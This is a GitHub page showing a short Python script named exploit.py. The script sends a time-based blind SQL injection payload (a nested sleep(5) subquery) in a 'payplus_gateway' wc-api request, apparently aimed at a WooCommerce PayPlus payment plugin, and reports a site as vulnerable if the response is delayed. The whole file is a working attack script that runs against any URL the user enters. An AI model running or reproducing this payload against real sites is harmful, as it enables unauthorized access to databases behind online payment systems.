-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.py
31 lines (26 loc) · 1.08 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3.11
import requests
import time
def exploit(url):
payload = {"wc-api": "payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)"}
start = time.time()
with requests.Session() as session:
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
})
response = requests.get(url, params=payload)
print(f"Exploiting {url}...")
end = time.time()
print(response.status_code)
response_time = end - start
print(f"Response time: {response_time}...")
print(f"Status code: {response.status_code}")
if response_time >= 5.00 and response.status_code == 200:
print("SQL Injection Vulnerability found...")
else:
print("Web page not vulnerable...")
if __name__ == "__main__":
url = input("Enter the vulnerable URL (e.g., https://test.site): ")
if not url.startswith("http"):
url = "http://" + url
exploit(url)